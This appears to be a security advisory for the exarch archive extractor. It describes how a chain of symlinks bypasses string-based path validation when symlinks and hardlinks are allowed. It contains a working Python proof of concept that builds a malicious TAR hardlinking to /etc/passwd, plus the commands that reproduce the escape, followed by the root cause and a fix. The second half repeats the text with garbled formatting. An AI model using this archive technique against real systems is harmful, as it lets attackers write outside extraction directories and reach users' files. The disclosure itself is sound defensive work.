Summary
When --allow-symlinks is enabled, a carefully crafted archive can place symlinks outside the extraction root using a two-hop chain. The second symlink passes string-based validation (normalizes to inside dest) but resolves outside via the first symlink already written to disk.
Attack Chain
Based on GHSA-83g3-92jg-28cx (node-tar), adapted to exarch's TAR extraction:
Entry 1: dir a/b/c/
Entry 2: link a/b/c/up -> ../.. (resolves to a/ — passes validation)
Entry 3: link a/b/escape -> c/up/../.. (string: normalizes to a/b/ — PASSES; disk: resolves to /tmp/)
Entry 4: hard exfil -> a/b/escape/../../etc/passwd
(string: normalizes to a/etc/passwd — PASSES; disk: /etc/passwd)
Reproduction
python3 - <<'PYEOF'
import tarfile, io
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
d = tarfile.TarInfo('a/b/c'); d.type = tarfile.DIRTYPE; d.mode = 0o755; tf.addfile(d)
s1 = tarfile.TarInfo('a/b/c/up'); s1.type = tarfile.SYMTYPE; s1.linkname = '../..'; tf.addfile(s1)
s2 = tarfile.TarInfo('a/b/escape'); s2.type = tarfile.SYMTYPE; s2.linkname = 'c/up/../..'; tf.addfile(s2)
h = tarfile.TarInfo('exfil'); h.type = tarfile.LNKTYPE; h.linkname = 'a/b/escape/../../etc/passwd'; tf.addfile(h)
with open('/tmp/escape.tar', 'wb') as f: f.write(buf.getvalue())
PYEOF
cargo run --bin exarch -- extract --allow-symlinks --allow-hardlinks /tmp/escape.tar /tmp/out/
python3 -c "import os; print(os.path.realpath('/tmp/out/a/b/escape'))"
# Output: /private/tmp (OUTSIDE extraction root)
Root Cause
SafeSymlink::validate uses normalize_symlink_target() (string-based .. resolution, lines 151–152 in safe_symlink.rs). When validating escape -> c/up/../.., the function normalizes the string c/up/../.. to c/ without following c/up as an already-extracted on-disk symlink. Result: validated as safe, but real resolution escapes dest.
Same issue affects SafeHardlink validation for the hardlink target.
Impact
- Requires:
--allow-symlinks (non-default) AND --allow-hardlinks (non-default)
- On macOS: hardlink creation blocked by OS for root-owned files, but escape symlinks are written to dest
- On Linux: would allow hardlinks to any file readable by the extracting user to be placed inside dest
Expected Behavior
After writing a symlink to disk, subsequent symlink/hardlink targets that traverse through it should be validated using canonicalize() (or equivalent on-disk resolution) to detect the escape.
Severity
High — bypasses symlink escape protection with chained symlinks. Mitigated by requiring two non-default flags.
Summary
When
--allow-symlinksis enabled, a carefully crafted archive can place symlinks outside the extraction root using a two-hop chain. The second symlink passes string-based validation (normalizes to inside dest) but resolves outside via the first symlink already written to disk.Attack Chain
Based on GHSA-83g3-92jg-28cx (node-tar), adapted to exarch's TAR extraction:
Reproduction
Root Cause
SafeSymlink::validateusesnormalize_symlink_target()(string-based..resolution, lines 151–152 insafe_symlink.rs). When validatingescape -> c/up/../.., the function normalizes the stringc/up/../..toc/without followingc/upas an already-extracted on-disk symlink. Result: validated as safe, but real resolution escapes dest.Same issue affects
SafeHardlinkvalidation for the hardlink target.Impact
--allow-symlinks(non-default) AND--allow-hardlinks(non-default)Expected Behavior
After writing a symlink to disk, subsequent symlink/hardlink targets that traverse through it should be validated using
canonicalize()(or equivalent on-disk resolution) to detect the escape.Severity
High — bypasses symlink escape protection with chained symlinks. Mitigated by requiring two non-default flags.